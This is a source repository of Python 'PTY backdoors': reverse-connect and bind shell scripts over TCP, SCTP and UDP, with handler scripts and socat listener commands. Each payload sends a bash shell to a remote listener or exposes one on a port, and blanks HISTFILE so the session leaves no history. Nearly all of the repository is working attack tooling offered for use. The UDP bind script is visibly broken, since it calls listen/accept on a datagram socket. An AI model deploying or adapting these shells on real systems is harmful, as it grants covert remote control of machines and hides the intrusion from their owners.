├── .gitattributes ├── .gitignore ├── LICENCE.md ├── README.md ├── sctp_pty_backconnect.py ├── sctp_pty_bind.py ├── sctp_pty_shell_handler.py ├── tcp_pty_backconnect.py ├── tcp_pty_bind.py ├── tcp_pty_shell_handler.py ├── udp_pty_backconnect.py └── udp_pty_bind.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | 46 | [Dd]ebug/ 47 | [Rr]elease/ 48 | x64/ 49 | build/ 50 | [Bb]in/ 51 | [Oo]bj/ 52 | 53 | # MSTest test Results 54 | [Tt]est[Rr]esult*/ 55 | [Bb]uild[Ll]og.* 56 | 57 | *_i.c 58 | *_p.c 59 | *.ilk 60 | *.meta 61 | *.obj 62 | *.pch 63 | *.pdb 64 | *.pgc 65 | *.pgd 66 | *.rsp 67 | *.sbr 68 | *.tlb 69 | *.tli 70 | *.tlh 71 | *.tmp 72 | *.tmp_proj 73 | *.log 74 | *.vspscc 75 | *.vssscc 76 | .builds 77 | *.pidb 78 | *.log 79 | *.scc 80 | 81 | # Visual C++ cache files 82 | ipch/ 83 | *.aps 84 | *.ncb 85 | *.opensdf 86 | *.sdf 87 | *.cachefile 88 | 89 | # Visual Studio profiler 90 | *.psess 91 | *.vsp 92 | *.vspx 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | 101 | # TeamCity is a build add-in 102 | _TeamCity* 103 | 104 | # DotCover is a Code Coverage Tool 105 | *.dotCover 106 | 107 | # NCrunch 108 | *.ncrunch* 109 | .*crunch*.local.xml 110 | 111 | # Installshield output folder 112 | [Ee]xpress/ 113 | 114 | # DocProject is a documentation generator add-in 115 | DocProject/buildhelp/ 116 | DocProject/Help/*.HxT 117 | DocProject/Help/*.HxC 118 | DocProject/Help/*.hhc 119 | DocProject/Help/*.hhk 120 | DocProject/Help/*.hhp 121 | DocProject/Help/Html2 122 | DocProject/Help/html 123 | 124 | # Click-Once directory 125 | publish/ 126 | 127 | # Publish Web Output 128 | *.Publish.xml 129 | *.pubxml 130 | 131 | # NuGet Packages Directory 132 | ## TODO: If you have NuGet Package Restore enabled, uncomment the next line 133 | #packages/ 134 | 135 | # Windows Azure Build Output 136 | csx 137 | *.build.csdef 138 | 139 | # Windows Store app package directory 140 | AppPackages/ 141 | 142 | # Others 143 | sql/ 144 | *.Cache 145 | ClientBin/ 146 | [Ss]tyle[Cc]op.* 147 | ~$* 148 | *~ 149 | *.dbmdl 150 | *.[Pp]ublish.xml 151 | *.pfx 152 | *.publishsettings 153 | 154 | # RIA/Silverlight projects 155 | Generated_Code/ 156 | 157 | # Backup & report files from converting an old project file to a newer 158 | # Visual Studio version. Backup files are not needed, because we have git ;-) 159 | _UpgradeReport_Files/ 160 | Backup*/ 161 | UpgradeLog*.XML 162 | UpgradeLog*.htm 163 | 164 | # SQL Server files 165 | App_Data/*.mdf 166 | App_Data/*.ldf 167 | 168 | ############# 169 | ## Windows detritus 170 | ############# 171 | 172 | # Windows image file caches 173 | Thumbs.db 174 | ehthumbs.db 175 | 176 | # Folder config file 177 | Desktop.ini 178 | 179 | # Recycle Bin used on file shares 180 | $RECYCLE.BIN/ 181 | 182 | # Mac crap 183 | .DS_Store 184 | 185 | 186 | ############# 187 | ## Python 188 | ############# 189 | 190 | *.py[co] 191 | 192 | # Packages 193 | *.egg 194 | *.egg-info 195 | dist/ 196 | build/ 197 | eggs/ 198 | parts/ 199 | var/ 200 | sdist/ 201 | develop-eggs/ 202 | .installed.cfg 203 | 204 | # Installer logs 205 | pip-log.txt 206 | 207 | # Unit test / coverage reports 208 | .coverage 209 | .tox 210 | 211 | #Translations 212 | *.mo 213 | 214 | #Mr Developer 215 | .mr.developer.cfg 216 | -------------------------------------------------------------------------------- /LICENCE.md: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | python-pty-shells 2 | ================= 3 | 4 | Python PTY backdoors - full PTY or nothing! 5 | 6 | Insecurety Research (2013) 7 | 8 | The following is a collection of bind and reverse shells which give you a fully working PTY. 9 | 10 | This is far superior to a normal bind or reverse shell, as you have job control and an interactive PTY and can do such things as use nano/vi to write files, su to elevate privs/change user, and ssh onward. You can also CTRL+C and suchlike. 11 | 12 | I have implemented the bind and backconnect shells using the TCP protocol, the SCTP protocol, and the UDP protocol. 13 | 14 | A demonstration video and blog post explaining the advantages/disadvantages of each technique is on the way, I just need to get around to it. 15 | 16 | For the SCTP shell, you will need the PySCTP module and the host will need to support the SCTP protocol. Most modern Linux boxes do, however you may need to install lksctp and lksctp-dev to build the python extensions. I am unsure if pyinstaller or similar can get around this. 17 | 18 | Released under the WTFPL - wtfpl.net 19 | 20 | Project by Insecurety Research - insecurety.net 21 | 22 | Author: Darren 'infodox' Martyn. 23 | -------------------------------------------------------------------------------- /sctp_pty_backconnect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | """ 3 | Reverse Connect SCTP PTY Shell - testing version 4 | infodox - insecurety.net (2013) 5 | 6 | For an excellent listener use the following socat command: 7 | socat file:`tty`,echo=0,raw sctp-listen:PORT 8 | 9 | Alternatively, use sctp_pty_shell_handler.py 10 | """ 11 | import os 12 | import pty 13 | import socket 14 | from sctp import * 15 | 16 | lhost = "127.0.0.1" # XXX: CHANGEME 17 | lport = 31337 # XXX: CHANGEME 18 | 19 | def main(): 20 | s = sctpsocket_tcp(socket.AF_INET) 21 | s.connect((lhost, lport)) 22 | os.dup2(s.fileno(),0) 23 | os.dup2(s.fileno(),1) 24 | os.dup2(s.fileno(),2) 25 | os.putenv("HISTFILE",'/dev/null') 26 | pty.spawn("/bin/bash") 27 | s.close() 28 | 29 | if __name__ == "__main__": 30 | main() 31 | -------------------------------------------------------------------------------- /sctp_pty_bind.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | """ 3 | Python Bind SCTP PTY Shell - testing version 4 | infodox - insecurety.net (2013) 5 | 6 | Binds a PTY to a SCTP port on the host it is ran on. 7 | 8 | Use the sctp_pty_shell_handler.py script to connect. 9 | """ 10 | import os 11 | import pty 12 | import socket 13 | from sctp import * 14 | 15 | lport = 31337 # XXX: CHANGEME 16 | 17 | def main(): 18 | s = sctpsocket_tcp(socket.AF_INET) 19 | s.bind(('', lport)) 20 | s.listen(1) 21 | (rem, addr) = s.accept() 22 | os.dup2(rem.fileno(),0) 23 | os.dup2(rem.fileno(),1) 24 | os.dup2(rem.fileno(),2) 25 | os.putenv("HISTFILE",'/dev/null') 26 | pty.spawn("/bin/bash") 27 | s.close() 28 | 29 | if __name__ == "__main__": 30 | main() 31 | -------------------------------------------------------------------------------- /sctp_pty_shell_handler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import termios 3 | import select 4 | import socket 5 | import os 6 | import fcntl 7 | import argparse 8 | from sctp import * 9 | 10 | class PTY: 11 | def __init__(self, slave=0, pid=os.getpid()): 12 | # apparently python GC's modules before class instances so, here 13 | # we have some hax to ensure we can restore the terminal state. 14 | self.termios, self.fcntl = termios, fcntl 15 | 16 | # open our controlling PTY 17 | self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+") 18 | 19 | # store our old termios settings so we can restore after 20 | # we are finished 21 | self.oldtermios = termios.tcgetattr(self.pty) 22 | 23 | # get the current settings se we can modify them 24 | newattr = termios.tcgetattr(self.pty) 25 | 26 | # set the terminal to uncanonical mode and turn off 27 | # input echo. 28 | newattr[3] &= ~termios.ICANON & ~termios.ECHO 29 | 30 | # don't handle ^C / ^Z / ^\ 31 | newattr[6][termios.VINTR] = '\x00' 32 | newattr[6][termios.VQUIT] = '\x00' 33 | newattr[6][termios.VSUSP] = '\x00' 34 | 35 | # set our new attributes 36 | termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr) 37 | 38 | # store the old fcntl flags 39 | self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL) 40 | # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC) 41 | # make the PTY non-blocking 42 | fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK) 43 | 44 | def read(self, size=8192): 45 | return self.pty.read(size) 46 | 47 | def write(self, data): 48 | ret = self.pty.write(data) 49 | self.pty.flush() 50 | return ret 51 | 52 | def fileno(self): 53 | return self.pty.fileno() 54 | 55 | def __del__(self): 56 | # restore the terminal settings on deletion 57 | self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios) 58 | self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags) 59 | 60 | class Shell: 61 | def __init__(self, addr, bind=True): 62 | self.bind = bind 63 | self.addr = addr 64 | 65 | if self.bind: 66 | self.sock = sctpsocket_tcp(socket.AF_INET) 67 | self.sock.bind(self.addr) 68 | self.sock.listen(5) 69 | 70 | def handle(self, addr=None): 71 | addr = addr or self.addr 72 | if self.bind: 73 | sock, addr = self.sock.accept() 74 | else: 75 | sock = sctpsocket_tcp(socket.AF_INET) 76 | sock.connect(addr) 77 | 78 | # create our PTY 79 | pty = PTY() 80 | 81 | # input buffers for the fd's 82 | buffers = [ [ sock, [] ], [ pty, [] ] ] 83 | def buffer_index(fd): 84 | for index, buffer in enumerate(buffers): 85 | if buffer[0] == fd: 86 | return index 87 | 88 | readable_fds = [ sock, pty ] 89 | 90 | data = " " 91 | # keep going until something deds 92 | while data: 93 | # if any of the fd's need to be written to, add them to the 94 | # writable_fds 95 | writable_fds = [] 96 | for buffer in buffers: 97 | if buffer[1]: 98 | writable_fds.append(buffer[0]) 99 | 100 | r, w, x = select.select(readable_fds, writable_fds, []) 101 | 102 | # read from the fd's and store their input in the other fd's buffer 103 | for fd in r: 104 | buffer = buffers[buffer_index(fd) ^ 1][1] 105 | if hasattr(fd, "read"): 106 | data = fd.read(8192) 107 | else: 108 | data = fd.recv(8192) 109 | if data: 110 | buffer.append(data) 111 | 112 | # send data from each buffer onto the proper FD 113 | for fd in w: 114 | buffer = buffers[buffer_index(fd)][1] 115 | data = buffer[0] 116 | if hasattr(fd, "write"): 117 | fd.write(data) 118 | else: 119 | fd.send(data) 120 | buffer.remove(data) 121 | 122 | # close the socket 123 | sock.close() 124 | 125 | if __name__ == "__main__": 126 | # I could do this validation with regex.. but meh. 127 | def AddressString(value): 128 | address = value.split(":") 129 | 130 | if len(address) != 2: 131 | raise argparse.ArgumentTypeError("Address must be in format IP:Port.") 132 | 133 | if len(address[0].split(".")) != 4: 134 | raise argparse.ArgumentTypeError("Invalid IP length.") 135 | 136 | for octet in address[0].split("."): 137 | try: 138 | if int(octet) > 255 or int(octet) < 0: 139 | raise argparse.ArgumentTypeError("Invalid octet in address.") 140 | except ValueError: 141 | raise argparse.ArgumentTypeError("Invalid octet in address.") 142 | 143 | try: 144 | address[1] = int(address[1]) 145 | if address[1] < 0 or address[1] > 65535: 146 | raise argparse.ArgumentTypeError("Invalid port number") 147 | except ValueError: 148 | raise argparse.ArgumentTypeError("Invalid port number.") 149 | 150 | return tuple(address) 151 | 152 | parser = argparse.ArgumentParser() 153 | 154 | group = parser.add_mutually_exclusive_group(required=True) 155 | group.add_argument("-b", "--bind", help="Reverse shell handler.", 156 | action="store_true") 157 | group.add_argument("-c", "--connect", help="Bind shell handler.", 158 | action="store_true") 159 | parser.add_argument("address", type=AddressString, 160 | help="IP address/port to bind/connect to.") 161 | args = parser.parse_args() 162 | 163 | s = Shell(args.address, bind=args.bind) 164 | s.handle() 165 | -------------------------------------------------------------------------------- /tcp_pty_backconnect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | """ 3 | Reverse Connect TCP PTY Shell - v1.0 4 | infodox - insecurety.net (2013) 5 | 6 | Gives a reverse connect PTY over TCP. 7 | 8 | For an excellent listener use the following socat command: 9 | socat file:`tty`,echo=0,raw tcp4-listen:PORT 10 | 11 | Or use the included tcp_pty_shell_handler.py 12 | """ 13 | import os 14 | import pty 15 | import socket 16 | 17 | lhost = "127.0.0.1" # XXX: CHANGEME 18 | lport = 31337 # XXX: CHANGEME 19 | 20 | def main(): 21 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | s.connect((lhost, lport)) 23 | os.dup2(s.fileno(),0) 24 | os.dup2(s.fileno(),1) 25 | os.dup2(s.fileno(),2) 26 | os.putenv("HISTFILE",'/dev/null') 27 | pty.spawn("/bin/bash") 28 | s.close() 29 | 30 | if __name__ == "__main__": 31 | main() 32 | -------------------------------------------------------------------------------- /tcp_pty_bind.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | """ 3 | Python Bind TCP PTY Shell - testing version 4 | infodox - insecurety.net (2013) 5 | 6 | Binds a PTY to a TCP port on the host it is ran on. 7 | """ 8 | import os 9 | import pty 10 | import socket 11 | 12 | lport = 31337 # XXX: CHANGEME 13 | 14 | def main(): 15 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | s.bind(('', lport)) 17 | s.listen(1) 18 | (rem, addr) = s.accept() 19 | os.dup2(rem.fileno(),0) 20 | os.dup2(rem.fileno(),1) 21 | os.dup2(rem.fileno(),2) 22 | os.putenv("HISTFILE",'/dev/null') 23 | pty.spawn("/bin/bash") 24 | s.close() 25 | 26 | if __name__ == "__main__": 27 | main() 28 | -------------------------------------------------------------------------------- /tcp_pty_shell_handler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import termios 3 | import select 4 | import socket 5 | import os 6 | import fcntl 7 | import argparse 8 | 9 | class PTY: 10 | def __init__(self, slave=0, pid=os.getpid()): 11 | # apparently python GC's modules before class instances so, here 12 | # we have some hax to ensure we can restore the terminal state. 13 | self.termios, self.fcntl = termios, fcntl 14 | 15 | # open our controlling PTY 16 | self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+") 17 | 18 | # store our old termios settings so we can restore after 19 | # we are finished 20 | self.oldtermios = termios.tcgetattr(self.pty) 21 | 22 | # get the current settings se we can modify them 23 | newattr = termios.tcgetattr(self.pty) 24 | 25 | # set the terminal to uncanonical mode and turn off 26 | # input echo. 27 | newattr[3] &= ~termios.ICANON & ~termios.ECHO 28 | 29 | # don't handle ^C / ^Z / ^\ 30 | newattr[6][termios.VINTR] = '\x00' 31 | newattr[6][termios.VQUIT] = '\x00' 32 | newattr[6][termios.VSUSP] = '\x00' 33 | 34 | # set our new attributes 35 | termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr) 36 | 37 | # store the old fcntl flags 38 | self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL) 39 | # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC) 40 | # make the PTY non-blocking 41 | fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK) 42 | 43 | def read(self, size=8192): 44 | return self.pty.read(size) 45 | 46 | def write(self, data): 47 | ret = self.pty.write(data) 48 | self.pty.flush() 49 | return ret 50 | 51 | def fileno(self): 52 | return self.pty.fileno() 53 | 54 | def __del__(self): 55 | # restore the terminal settings on deletion 56 | self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios) 57 | self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags) 58 | 59 | class Shell: 60 | def __init__(self, addr, bind=True): 61 | self.bind = bind 62 | self.addr = addr 63 | 64 | if self.bind: 65 | self.sock = socket.socket() 66 | self.sock.bind(self.addr) 67 | self.sock.listen(5) 68 | 69 | def handle(self, addr=None): 70 | addr = addr or self.addr 71 | if self.bind: 72 | sock, addr = self.sock.accept() 73 | else: 74 | sock = socket.socket() 75 | sock.connect(addr) 76 | 77 | # create our PTY 78 | pty = PTY() 79 | 80 | # input buffers for the fd's 81 | buffers = [ [ sock, [] ], [ pty, [] ] ] 82 | def buffer_index(fd): 83 | for index, buffer in enumerate(buffers): 84 | if buffer[0] == fd: 85 | return index 86 | 87 | readable_fds = [ sock, pty ] 88 | 89 | data = " " 90 | # keep going until something deds 91 | while data: 92 | # if any of the fd's need to be written to, add them to the 93 | # writable_fds 94 | writable_fds = [] 95 | for buffer in buffers: 96 | if buffer[1]: 97 | writable_fds.append(buffer[0]) 98 | 99 | r, w, x = select.select(readable_fds, writable_fds, []) 100 | 101 | # read from the fd's and store their input in the other fd's buffer 102 | for fd in r: 103 | buffer = buffers[buffer_index(fd) ^ 1][1] 104 | if hasattr(fd, "read"): 105 | data = fd.read(8192) 106 | else: 107 | data = fd.recv(8192) 108 | if data: 109 | buffer.append(data) 110 | 111 | # send data from each buffer onto the proper FD 112 | for fd in w: 113 | buffer = buffers[buffer_index(fd)][1] 114 | data = buffer[0] 115 | if hasattr(fd, "write"): 116 | fd.write(data) 117 | else: 118 | fd.send(data) 119 | buffer.remove(data) 120 | 121 | # close the socket 122 | sock.close() 123 | 124 | if __name__ == "__main__": 125 | # I could do this validation with regex.. but meh. 126 | def AddressString(value): 127 | address = value.split(":") 128 | 129 | if len(address) != 2: 130 | raise argparse.ArgumentTypeError("Address must be in format IP:Port.") 131 | 132 | if len(address[0].split(".")) != 4: 133 | raise argparse.ArgumentTypeError("Invalid IP length.") 134 | 135 | for octet in address[0].split("."): 136 | try: 137 | if int(octet) > 255 or int(octet) < 0: 138 | raise argparse.ArgumentTypeError("Invalid octet in address.") 139 | except ValueError: 140 | raise argparse.ArgumentTypeError("Invalid octet in address.") 141 | 142 | try: 143 | address[1] = int(address[1]) 144 | if address[1] < 0 or address[1] > 65535: 145 | raise argparse.ArgumentTypeError("Invalid port number") 146 | except ValueError: 147 | raise argparse.ArgumentTypeError("Invalid port number.") 148 | 149 | return tuple(address) 150 | 151 | parser = argparse.ArgumentParser() 152 | 153 | group = parser.add_mutually_exclusive_group(required=True) 154 | group.add_argument("-b", "--bind", help="Reverse shell handler.", 155 | action="store_true") 156 | group.add_argument("-c", "--connect", help="Bind shell handler.", 157 | action="store_true") 158 | parser.add_argument("address", type=AddressString, 159 | help="IP address/port to bind/connect to.") 160 | args = parser.parse_args() 161 | 162 | s = Shell(args.address, bind=args.bind) 163 | s.handle() 164 | -------------------------------------------------------------------------------- /udp_pty_backconnect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | """ 3 | Reverse Connect UDP PTY Shell - testing version 4 | infodox - insecurety.net (2013) 5 | 6 | Please note this may not work and I need to clean it up. 7 | It is also COMPLETELY untested as right now I do not have a 8 | linux box to test it on. I will do so later today. 9 | 10 | Gives a reverse connect PTY over UDP. 11 | 12 | For an excellent listener use the following socat command: 13 | socat file:`tty`,echo=0,raw udp-listen:PORT 14 | """ 15 | import os 16 | import pty 17 | import socket 18 | 19 | lhost = "127.0.0.1" # XXX: CHANGEME 20 | lport = 31337 # XXX: CHANGEME 21 | 22 | def main(): 23 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 24 | s.connect((lhost, lport)) 25 | os.dup2(s.fileno(),0) 26 | os.dup2(s.fileno(),1) 27 | os.dup2(s.fileno(),2) 28 | os.putenv("HISTFILE",'/dev/null') 29 | pty.spawn("/bin/bash") 30 | s.close() 31 | 32 | if __name__ == "__main__": 33 | main() 34 | -------------------------------------------------------------------------------- /udp_pty_bind.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | """ 3 | Python Bind TCP PTY Shell - testing version 4 | infodox - insecurety.net (2013) 5 | 6 | Binds a PTY to a TCP port on the host it is ran on. 7 | """ 8 | import os 9 | import pty 10 | import socket 11 | 12 | lport = 31337 # XXX: CHANGEME 13 | 14 | def main(): 15 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 16 | s.bind(('', lport)) 17 | s.listen(1) 18 | (rem, addr) = s.accept() 19 | os.dup2(rem.fileno(),0) 20 | os.dup2(rem.fileno(),1) 21 | os.dup2(rem.fileno(),2) 22 | os.putenv("HISTFILE",'/dev/null') 23 | pty.spawn("/bin/bash") 24 | s.close() 25 | 26 | if __name__ == "__main__": 27 | main() 28 | --------------------------------------------------------------------------------